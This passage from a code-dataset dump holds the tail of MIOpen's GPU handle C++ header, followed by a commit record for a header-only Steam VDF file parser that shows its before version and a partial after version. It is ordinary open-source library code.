NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n *******************************************************************************\/\n#ifndef GUARD_MIOPEN_HANDLE_HPP_\n#define GUARD_MIOPEN_HANDLE_HPP_\n\n#include <miopen\/config.h>\n#include <miopen\/kernel_info.hpp>\n#include <miopen\/common.hpp>\n#include <miopen\/invoker_cache.hpp>\n#include <miopen\/kernel.hpp>\n#include <miopen\/miopen.h>\n#include <miopen\/names.hpp>\n#include <miopen\/object.hpp>\n#include <miopen\/allocator.hpp>\n#include <miopen\/simple_hash.hpp>\n#include <miopen\/solver_id.hpp>\n#include <miopen\/stringutils.hpp>\n#include <miopen\/target_properties.hpp>\n\n#include <boost\/range\/adaptor\/transformed.hpp>\n\n#include <cstdio>\n#include <cstring>\n#include <ios>\n#include <sstream>\n#include <memory>\n#include <vector>\n#include <unordered_map>\n\n#if MIOPEN_USE_ROCBLAS\n#include <miopen\/manage_ptr.hpp>\n#if MIOPEN_ROCBLAS_VERSION_FLAT < 2045000\n#include <rocblas.h>\n#else\n#include <rocblas\/rocblas.h>\n#endif\n#endif\n\nnamespace miopen {\n\nstruct HandleImpl;\n#if MIOPEN_USE_MIOPENGEMM\nstruct GemmGeometry;\nusing GemmKey = std::pair<std::string, std::string>;\n#endif\n\n#if MIOPEN_USE_ROCBLAS\nusing rocblas_handle_ptr = MIOPEN_MANAGE_PTR(rocblas_handle, rocblas_destroy_handle);\n#endif\n\nstruct Handle : miopenHandle\n{\n friend struct TargetProperties;\n\n Handle();\n Handle(miopenAcceleratorQueue_t stream);\n Handle(Handle&&) noexcept;\n ~Handle();\n\n miopenAcceleratorQueue_t GetStream() const;\n void SetStream(miopenAcceleratorQueue_t streamID) const;\n\n void SetAllocator(miopenAllocatorFunction allocator,\n miopenDeallocatorFunction deallocator,\n void* allocatorContext) const;\n\n void EnableProfiling(bool enable = true) const;\n\n void ResetKernelTime() const;\n void AccumKernelTime(float curr_time) const;\n\n float GetKernelTime() const;\n bool IsProfilingEnabled() const;\n\n KernelInvoke AddKernel(const std::string& algorithm,\n const std::string& network_config,\n const std::string& program_name,\n const std::string& kernel_name,\n const std::vector<size_t>& vld,\n const std::vector<size_t>& vgd,\n const std::string& params,\n std::size_t cache_index = 0,\n bool is_kernel_str = false,\n const std::string& kernel_src = \"\") const;\n\n bool HasKernel(const std::string& algorithm, const std::string& network_config) const;\n\n void ClearKernels(const std::string& algorithm, const std::string& network_config) const;\n\n auto GetKernels(const std::string& algorithm, const std::string& network_config) const\n {\n return this->GetKernelsImpl(algorithm, network_config) |\n boost::adaptors::transformed([this](Kernel k) { return this->Run(k); });\n }\n KernelInvoke GetKernel(const std::string& algorithm, const std::string& network_config) const\n {\n auto ks = this->GetKernelsImpl(algorithm, network_config);\n if(ks.empty())\n {\n MIOPEN_THROW(\"looking for default kernel (does not exist): \" + algorithm + \", \" +\n network_config);\n }\n return this->Run(ks.front());\n }\n\n KernelInvoke Run(Kernel k) const;\n const std::vector<Kernel>& GetKernelsImpl(const std::string& algorithm,\n const std::string& network_config) const;\n\n Program LoadProgram(const std::string& program_name,\n std::string params,\n bool is_kernel_str,\n const std::string& kernel_src) const;\n\n bool HasProgram(const std::string& program_name, const std::string& params) const;\n void ClearProgram(const std::string& program_name, const std::string& params) const;\n void AddProgram(Program prog, const std::string& program_name, const std::string& params) const;\n\n void Finish() const;\n void Flush() const;\n\n std::size_t GetLocalMemorySize() const;\n std::size_t GetGlobalMemorySize() const;\n std::size_t GetImage3dMaxWidth() const;\n std::size_t GetWavefrontWidth() const;\n std::size_t GetMaxComputeUnits() const;\n std::size_t GetMaxHardwareComputeUnits() const\n {\n std::size_t num_cu = this->GetMaxComputeUnits();\n std::string name = this->GetDeviceName();\n return StartsWith(name, \"gfx1\") ? num_cu * 2 \/* CUs per WGP *\/ : num_cu;\n }\n\n std::size_t m_MaxMemoryAllocSizeCached = 0;\n std::size_t GetMaxMemoryAllocSize();\n\n std::string GetDeviceName() const;\n const TargetProperties& GetTargetProperties() const;\n\nprivate:\n std::string GetDeviceNameImpl() const;\n\npublic:\n std::ostream& Print(std::ostream& os) const;\n void Copy(ConstData_t src, Data_t dest, std::size_t size) const;\n\n Allocator::ManageDataPtr Create(std::size_t sz) const;\n Allocator::ManageDataPtr&\n WriteTo(const void* data, Allocator::ManageDataPtr& ddata, std::size_t sz) const;\n void ReadTo(void* data, const Allocator::ManageDataPtr& ddata, std::size_t sz) const;\n shared<Data_t> CreateSubBuffer(Data_t data, std::size_t offset, std::size_t size) const;\n#if MIOPEN_BACKEND_HIP\n shared<ConstData_t>\n CreateSubBuffer(ConstData_t data, std::size_t offset, std::size_t size) const;\n#endif\n\n template <class T>\n Allocator::ManageDataPtr Create(std::size_t sz)\n {\n return this->Create(sz * sizeof(T));\n }\n\n template <class Container>\n Allocator::ManageDataPtr Write(const Container& c)\n {\n using type = typename Container::value_type;\n auto buf = this->Create<type>(c.size());\n return std::move(\n this->WriteTo(reinterpret_cast<const void*>(c.data()), buf, c.size() * sizeof(type)));\n }\n\n template <class T>\n std::vector<T> Read(const Allocator::ManageDataPtr& ddata, std::size_t sz)\n {\n std::vector<T> result(sz);\n this->ReadTo(result.data(), ddata, sz * sizeof(T));\n return result;\n }\n\n static std::string GetDbBasename(const TargetProperties& target, size_t num_cu)\n {\n auto ret = target.DbId() + [&]() {\n std::ostringstream ss;\n if(num_cu <= 64)\n ss << '_' << num_cu;\n else\n ss << std::hex << num_cu;\n return std::string(ss.str());\n }();\n return ret;\n }\n\n std::string GetDbBasename() const\n {\n return GetDbBasename(GetTargetProperties(), GetMaxComputeUnits());\n }\n\n std::unique_ptr<HandleImpl> impl;\n std::unordered_map<std::string, std::vector<miopenConvSolution_t>> find_map;\n#if MIOPEN_USE_MIOPENGEMM\n std::unordered_map<GemmKey, std::unique_ptr<GemmGeometry>, SimpleHash> geo_map;\n#endif\n\n Invoker PrepareInvoker(const InvokerFactory& factory,\n const std::vector<solver::KernelInfo>& kernels) const;\n\n void RegisterInvoker(const Invoker& invoker,\n const NetworkConfig& config,\n const std::string& solver,\n const boost::optional<AlgorithmName>& algo = boost::none)\n {\n invokers.Register({config, solver}, invoker);\n if(algo.has_value())\n invokers.SetAsFound1_0(config, *algo, solver);\n }\n\n boost::optional<const Invoker&>\n GetInvoker(const NetworkConfig& config,\n const boost::optional<solver::Id>& solver,\n const boost::optional<AlgorithmName>& algo = boost::none) const\n {\n assert(solver || algo);\n assert(!(solver && algo));\n if(solver)\n {\n MIOPEN_LOG_I2(\"Returning an invoker for problem \" << config.ToString() << \" and solver \"\n << solver->ToString());\n return invokers[std::make_pair(config.ToString(), solver->ToString())];\n }\n MIOPEN_LOG_I2(\"Returning an invoker for problem \" << config.ToString() << \" and algorithm \"\n << algo->ToString());\n return invokers.GetFound1_0(config, *algo);\n }\n\n boost::optional<const std::string&> GetFound1_0SolverId(const NetworkConfig& config,\n const AlgorithmName& algo) const\n {\n return invokers.GetFound1_0SolverId(config, algo);\n }\n\n#if MIOPEN_USE_ROCBLAS\n const rocblas_handle_ptr& rhandle() const { return rhandle_; }\n\nprivate:\n rocblas_handle_ptr CreateRocblasHandle() const;\n rocblas_handle_ptr rhandle_;\n#else\nprivate:\n#endif\n InvokerCache invokers;\n};\n\ninline std::ostream& operator<<(std::ostream& os, const Handle& handle) { return handle.Print(os); }\n\nstruct AutoEnableProfiling\n{\n AutoEnableProfiling(const Handle& x) : h(x)\n {\n prev_state = h.IsProfilingEnabled();\n h.EnableProfiling();\n }\n\n ~AutoEnableProfiling()\n {\n h.EnableProfiling(prev_state);\n h.ResetKernelTime();\n }\n\nprivate:\n const Handle& h;\n bool prev_state;\n};\n\n} \/\/ namespace miopen\nMIOPEN_DEFINE_OBJECT(miopenHandle, miopen::Handle);\n\n#endif \/\/ GUARD_MIOPEN_HANDLE_HPP_\n<|endoftext|>"} {"text":"<commit_before>\/\/MIT License\r\n\/\/\r\n\/\/Copyright(c) 2016 Matthias Moeller\r\n\/\/\r\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/of this software and associated documentation files(the \"Software\"), to deal\r\n\/\/in the Software without restriction, including without limitation the rights\r\n\/\/to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\r\n\/\/copies of the Software, and to permit persons to whom the Software is\r\n\/\/furnished to do so, subject to the following conditions :\r\n\/\/\r\n\/\/The above copyright notice and this permission notice shall be included in all\r\n\/\/copies or substantial portions of the Software.\r\n\/\/\r\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\r\n\/\/AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n\/\/SOFTWARE.\r\n\r\n#ifndef __TYTI_STEAM_VDF_PARSER_H__\r\n#define __TYTI_STEAM_VDF_PARSER_H__\r\n\r\n#include <unordered_map>\r\n#include <utility>\r\n#include <fstream>\r\n#include <memory>\r\n\r\n#include <system_error>\r\n#include <exception>\r\n\r\n\/\/for wstring support\r\n#include <locale>\r\n#include <codecvt>\r\n#include <string>\r\n\r\n\/\/ internal\r\n#include <stack>\r\n\r\n\r\n\/\/VS < 2015 has only partial C++11 support\r\n#if defined(_MSC_VER) && _MSC_VER < 1900\r\n#ifndef CONSTEXPR\r\n#define CONSTEXPR\r\n#endif\r\n\r\n#ifndef NOEXCEPT\r\n#define NOEXCEPT\r\n#endif\r\n#else\r\n#ifndef CONSTEXPR\r\n#define CONSTEXPR constexpr\r\n#define TYTI_UNDEF_CONSTEXPR\r\n#endif\r\n\r\n#ifndef NOEXCEPT\r\n#define NOEXCEPT noexcept\r\n#define TYTI_UNDEF_NOEXCEPT\r\n#endif \r\n\r\n#endif\r\n\r\nnamespace tyti\r\n{\r\n namespace vdf\r\n {\r\n namespace detail\r\n {\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Helper functions selecting the right encoding (char\/wchar_T)\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n template<typename T>\r\n struct literal_macro_help\r\n {\r\n static CONSTEXPR const char* result(const char* c, const wchar_t* wc) NOEXCEPT\r\n {\r\n return c;\r\n }\r\n static CONSTEXPR const char result(const char c, const wchar_t wc) NOEXCEPT\r\n {\r\n return c;\r\n }\r\n };\r\n\r\n template<>\r\n struct literal_macro_help<wchar_t>\r\n {\r\n static CONSTEXPR const wchar_t* result(const char* c, const wchar_t* wc) NOEXCEPT\r\n {\r\n return wc;\r\n }\r\n static CONSTEXPR const wchar_t result(const char c, const wchar_t wc) NOEXCEPT\r\n {\r\n return wc;\r\n }\r\n };\r\n#define TYTI_L(type, text) vdf::detail::literal_macro_help<type>::result(text, L##text)\r\n\r\n\r\n inline std::string string_converter(const std::string& w) NOEXCEPT\r\n {\r\n return w;\r\n }\r\n\r\n inline std::string string_converter(const std::wstring& w)\r\n {\r\n std::wstring_convert<std::codecvt_utf8<wchar_t>> conv1; \/\/ maybe wrong econding\r\n return conv1.to_bytes(w);\r\n }\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Writer helper functions\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n template<typename charT>\r\n class tabs\r\n {\r\n size_t t;\r\n public:\r\n explicit tabs(size_t i) :t( i ) {}\r\n std::basic_string<charT> print() const { return std::basic_string<charT>(t, TYTI_L(charT,'\\t')); }\r\n tabs operator+(size_t i) const NOEXCEPT\r\n {\r\n tabs r(*this);\r\n r.t += i;\r\n return r;\r\n }\r\n };\r\n\r\n template<typename oStreamT>\r\n oStreamT& operator<<(oStreamT& s, const tabs<typename oStreamT::char_type> t)\r\n {\r\n s << t.print();\r\n return s;\r\n }\r\n } \/\/ end namespace detail\r\n\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Interface\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n \/\/\/ basic object node. Every object has a name and can contains attributes saved as key_value pairs or childrens\r\n template<typename CharT>\r\n struct basic_object\r\n {\r\n typedef CharT char_type;\r\n std::basic_string<char_type> name;\r\n std::unordered_map<std::basic_string<char_type>, std::basic_string<char_type> > attribs;\r\n std::unordered_map<std::basic_string<char_type>, std::shared_ptr< basic_object<char_type> > > childs;\r\n };\r\n\r\n typedef basic_object<char> object;\r\n typedef basic_object<wchar_t> wobject;\r\n\r\n \/** \\brief writes given object tree in vdf format to given stream.\r\n Uses tabs instead of whitespaces.\r\n *\/\r\n template<typename oStreamT>\r\n void write(oStreamT& s, const basic_object<typename oStreamT::char_type>& r, \r\n const detail::tabs<typename oStreamT::char_type> tab = detail::tabs<typename oStreamT::char_type>( 0 ))\r\n {\r\n typedef typename oStreamT::char_type charT;\r\n using namespace detail;\r\n typedef tabs<charT> tabs;\r\n s << tab << TYTI_L(charT, '\"') << r.name << TYTI_L(charT, \"\\\"\\n\") << tab << TYTI_L(charT, \"{\\n\");\r\n for (const auto& i : r.attribs)\r\n s << tab+1 << TYTI_L(charT, '\"') << i.first << TYTI_L(charT, \"\\\"\\t\\t\\\"\") << i.second << TYTI_L(charT, \"\\\"\\n\");\r\n for (const auto& i : r.childs)\r\n write(s, *i.second, tab+1 );\r\n s << tab << TYTI_L(charT, \"}\\n\");\r\n }\r\n\r\n \/\/forward decls\r\n \/\/forward decl\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, std::error_code& ec);\r\n \r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n @param ec output bool. 0 if ok, otherwise, holds an system error code\r\n\r\n Possible error codes:\r\n std::errc::protocol_error: file is mailformatted\r\n std::errc::not_enough_memory: not enough space\r\n std::errc::invalid_argument: iterators throws e.g. out of range\r\n *\/\r\n\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, IterT last, std::error_code& ec) NOEXCEPT\r\n {\r\n typedef typename IterT::value_type charT;\r\n ec.clear();\r\n\r\n basic_object<charT> root;\r\n basic_object<charT>* cur = &root;\r\n std::stack< basic_object<charT>* > lvls;\r\n \/\/read header\r\n \/\/ first, quoted name\r\n auto b = std::find(first, last, TYTI_L(charT, '\\\"'));\r\n auto bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n root.name = std::basic_string<charT>(b + 1, bend);\r\n \/\/ second, get {}\r\n b = std::find(bend, last, TYTI_L(charT, '{'));\r\n try\r\n {\r\n if (b == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\r\n return root;\r\n }\r\n else\r\n lvls.push(&root);\r\n while (!lvls.empty() && b != last)\r\n {\r\n const std::basic_string<charT> startsym = TYTI_L(charT, \"\\\"}\");\r\n\r\n \/\/find first starting attrib\/child, or ending\r\n b = std::find_first_of(b, last, std::begin(startsym), std::end(startsym));\r\n if (*b == '\\\"')\r\n {\r\n\r\n \/\/ get key\r\n bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n if (bend == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/ could not find end of name\r\n return root;\r\n }\r\n\r\n std::basic_string<charT> key(b + 1, bend);\r\n b = bend + 1;\r\n\r\n const std::basic_string<charT> ecspsym = TYTI_L(charT, \"\\\"{\");\r\n b = std::find_first_of(b, last, std::begin(ecspsym), std::end(ecspsym));\r\n if (b == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/ could not find 2nd part of pair\r\n return root;\r\n }\r\n\r\n \/\/ get value\r\n if (*b == '\\\"')\r\n {\r\n bend = std::find(b + 1, last, TYTI_L(charT, '\\\"'));\r\n if (bend == last)\r\n {\r\n ec = std::make_error_code(std::errc::protocol_error);\/\/could not find end of name\r\n return root;\r\n }\r\n\r\n auto value = std::basic_string<charT>(b + 1, bend);\r\n b = bend + 1;\r\n\r\n \/\/ process value\r\n if (key != TYTI_L(charT, \"#include\") && key != TYTI_L(charT, \"#base\"))\r\n {\r\n cur->attribs[key] = std::move(value);\r\n }\r\n else\r\n {\r\n std::basic_ifstream<charT> i(detail::string_converter(std::move(value)));\r\n auto n = std::make_shared<basic_object<charT>>(read(i, ec));\r\n if (ec) return root;\r\n cur->childs[n->name] = std::move(n);\r\n }\r\n }\r\n else if (*b == '{')\r\n {\r\n lvls.push(cur);\r\n auto n = std::make_shared<basic_object<charT>>();\r\n cur->childs[key] = n;\r\n cur = n.get();\r\n cur->name = std::move(key);\r\n ++b;\r\n }\r\n }\r\n else if (*b == '}')\r\n {\r\n cur = lvls.top();\r\n lvls.pop();\r\n ++b;\r\n }\r\n }\r\n \r\n }\r\n catch (std::bad_alloc& )\r\n {\r\n ec = std::make_error_code(std::errc::not_enough_memory);\r\n }\r\n catch (...)\r\n {\r\n ec = std::make_error_code(std::errc::invalid_argument);\r\n }\r\n return root;\r\n }\r\n\r\n\r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n @param ok output bool. true, if parser successed, false, if parser failed\r\n *\/\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, const IterT last, bool* ok) NOEXCEPT\r\n {\r\n std::error_code ec;\r\n auto r = read(first, last, ec);\r\n if (ok) *ok = !ec;\r\n return r;\r\n }\r\n\r\n \/** \\brief Read VDF formatted sequences defined by the range [first, last).\r\n If the file is mailformatted, parser will try to read it until it can.\r\n @param first begin iterator\r\n @param end end iterator\r\n \r\n throws a \"std::system_error\" if a parsing error occured\r\n *\/\r\n template<typename IterT>\r\n basic_object<typename IterT::value_type> read(IterT first, const IterT last)\r\n {\r\n std::error_code ec;\r\n const auto r = read(first, last, ec);\r\n if (!ec)\r\n throw std::system_error(ec);\r\n return r;\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, std::error_code& ec)\r\n {\r\n \/\/ cache the file\r\n typedef typename iStreamT::char_type charT;\r\n std::basic_string<charT> str;\r\n inStream.seekg(0, std::ios::end);\r\n str.resize(static_cast<size_t>(inStream.tellg()));\r\n if (str.empty())\r\n return basic_object<charT>();\r\n\r\n inStream.seekg(0, std::ios::beg);\r\n inStream.read(&str[0], str.size());\r\n inStream.close();\r\n\r\n \/\/ parse it\r\n return read(str.begin(), str.end(), ec);\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n ok == false, if a parsing error occured\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, bool* ok)\r\n {\r\n std::error_code ec;\r\n const auto r = read(inStream, ec);\r\n if (ok) *ok = !ec;\r\n return r;\r\n }\r\n\r\n \/** \\brief Loads a stream (e.g. filestream) into the memory and parses the vdf formatted data.\r\n throws \"std::bad_alloc\" if file buffer could not be allocated\r\n throws \"std::system_error\" if a parsing error occured\r\n *\/\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream)\r\n {\r\n std::error_code ec;\r\n const auto r = read(inStream, ec);\r\n if (!ec) throw std::system_error(ec);\r\n return r;\r\n }\r\n\r\n } \/\/ end namespace vdf\r\n} \/\/ end namespace tyti\r\n#ifndef TYTI_NO_L_UNDEF\r\n#undef TYTI_L\r\n#endif\r\n\r\n#ifdef TYTI_UNDEF_CONSTEXPR\r\n#undef CONSTEXPR\r\n#endif\r\n\r\n#ifdef TYTI_UNDEF_NOTHROW\r\n#undef NOTHROW\r\n#endif\r\n\r\n#endif \/\/__TYTI_STEAM_VDF_PARSER_H__\r\n<commit_msg>undef def guards<commit_after>\/\/MIT License\r\n\/\/\r\n\/\/Copyright(c) 2016 Matthias Moeller\r\n\/\/\r\n\/\/Permission is hereby granted, free of charge, to any person obtaining a copy\r\n\/\/of this software and associated documentation files(the \"Software\"), to deal\r\n\/\/in the Software without restriction, including without limitation the rights\r\n\/\/to use, copy, modify, merge, publish, distribute, sublicense, and \/ or sell\r\n\/\/copies of the Software, and to permit persons to whom the Software is\r\n\/\/furnished to do so, subject to the following conditions :\r\n\/\/\r\n\/\/The above copyright notice and this permission notice shall be included in all\r\n\/\/copies or substantial portions of the Software.\r\n\/\/\r\n\/\/THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n\/\/IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n\/\/FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.IN NO EVENT SHALL THE\r\n\/\/AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n\/\/LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n\/\/OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\r\n\/\/SOFTWARE.\r\n\r\n#ifndef __TYTI_STEAM_VDF_PARSER_H__\r\n#define __TYTI_STEAM_VDF_PARSER_H__\r\n\r\n#include <unordered_map>\r\n#include <utility>\r\n#include <fstream>\r\n#include <memory>\r\n\r\n#include <system_error>\r\n#include <exception>\r\n\r\n\/\/for wstring support\r\n#include <locale>\r\n#include <codecvt>\r\n#include <string>\r\n\r\n\/\/ internal\r\n#include <stack>\r\n\r\n\r\n\/\/VS < 2015 has only partial C++11 support\r\n#if defined(_MSC_VER) && _MSC_VER < 1900\r\n#ifndef CONSTEXPR\r\n#define CONSTEXPR\r\n#endif\r\n\r\n#ifndef NOEXCEPT\r\n#define NOEXCEPT\r\n#endif\r\n#else\r\n#ifndef CONSTEXPR\r\n#define CONSTEXPR constexpr\r\n#define TYTI_UNDEF_CONSTEXPR\r\n#endif\r\n\r\n#ifndef NOEXCEPT\r\n#define NOEXCEPT noexcept\r\n#define TYTI_UNDEF_NOEXCEPT\r\n#endif \r\n\r\n#endif\r\n\r\nnamespace tyti\r\n{\r\n namespace vdf\r\n {\r\n namespace detail\r\n {\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Helper functions selecting the right encoding (char\/wchar_T)\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n template<typename T>\r\n struct literal_macro_help\r\n {\r\n static CONSTEXPR const char* result(const char* c, const wchar_t* wc) NOEXCEPT\r\n {\r\n return c;\r\n }\r\n static CONSTEXPR const char result(const char c, const wchar_t wc) NOEXCEPT\r\n {\r\n return c;\r\n }\r\n };\r\n\r\n template<>\r\n struct literal_macro_help<wchar_t>\r\n {\r\n static CONSTEXPR const wchar_t* result(const char* c, const wchar_t* wc) NOEXCEPT\r\n {\r\n return wc;\r\n }\r\n static CONSTEXPR const wchar_t result(const char c, const wchar_t wc) NOEXCEPT\r\n {\r\n return wc;\r\n }\r\n };\r\n#define TYTI_L(type, text) vdf::detail::literal_macro_help<type>::result(text, L##text)\r\n\r\n\r\n inline std::string string_converter(const std::string& w) NOEXCEPT\r\n {\r\n return w;\r\n }\r\n\r\n inline std::string string_converter(const std::wstring& w)\r\n {\r\n std::wstring_convert<std::codecvt_utf8<wchar_t>> conv1; \/\/ maybe wrong econding\r\n return conv1.to_bytes(w);\r\n }\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Writer helper functions\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n template<typename charT>\r\n class tabs\r\n {\r\n size_t t;\r\n public:\r\n explicit tabs(size_t i) :t( i ) {}\r\n std::basic_string<charT> print() const { return std::basic_string<charT>(t, TYTI_L(charT,'\\t')); }\r\n tabs operator+(size_t i) const NOEXCEPT\r\n {\r\n tabs r(*this);\r\n r.t += i;\r\n return r;\r\n }\r\n };\r\n\r\n template<typename oStreamT>\r\n oStreamT& operator<<(oStreamT& s, const tabs<typename oStreamT::char_type> t)\r\n {\r\n s << t.print();\r\n return s;\r\n }\r\n } \/\/ end namespace detail\r\n\r\n\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n \/\/ Interface\r\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\r\n\r\n \/\/\/ basic object node. Every object has a name and can contains attributes saved as key_value pairs or childrens\r\n template<typename CharT>\r\n struct basic_object\r\n {\r\n typedef CharT char_type;\r\n std::basic_string<char_type> name;\r\n std::unordered_map<std::basic_string<char_type>, std::basic_string<char_type> > attribs;\r\n std::unordered_map<std::basic_string<char_type>, std::shared_ptr< basic_object<char_type> > > childs;\r\n };\r\n\r\n typedef basic_object<char> object;\r\n typedef basic_object<wchar_t> wobject;\r\n\r\n \/** \\brief writes given object tree in vdf format to given stream.\r\n Uses tabs instead of whitespaces.\r\n *\/\r\n template<typename oStreamT>\r\n void write(oStreamT& s, const basic_object<typename oStreamT::char_type>& r, \r\n const detail::tabs<typename oStreamT::char_type> tab = detail::tabs<typename oStreamT::char_type>( 0 ))\r\n {\r\n typedef typename oStreamT::char_type charT;\r\n using namespace detail;\r\n typedef tabs<charT> tabs;\r\n s << tab << TYTI_L(charT, '\"') << r.name << TYTI_L(charT, \"\\\"\\n\") << tab << TYTI_L(charT, \"{\\n\");\r\n for (const auto& i : r.attribs)\r\n s << tab+1 << TYTI_L(charT, '\"') << i.first << TYTI_L(charT, \"\\\"\\t\\t\\\"\") << i.second << TYTI_L(charT, \"\\\"\\n\");\r\n for (const auto& i : r.childs)\r\n write(s, *i.second, tab+1 );\r\n s << tab << TYTI_L(charT, \"}\\n\");\r\n }\r\n\r\n \/\/forward decls\r\n \/\/forward decl\r\n template<typename iStreamT>\r\n basic_object<typename iStreamT::char_type> read(iStreamT& inStream, std::error_code& ec);\r\n 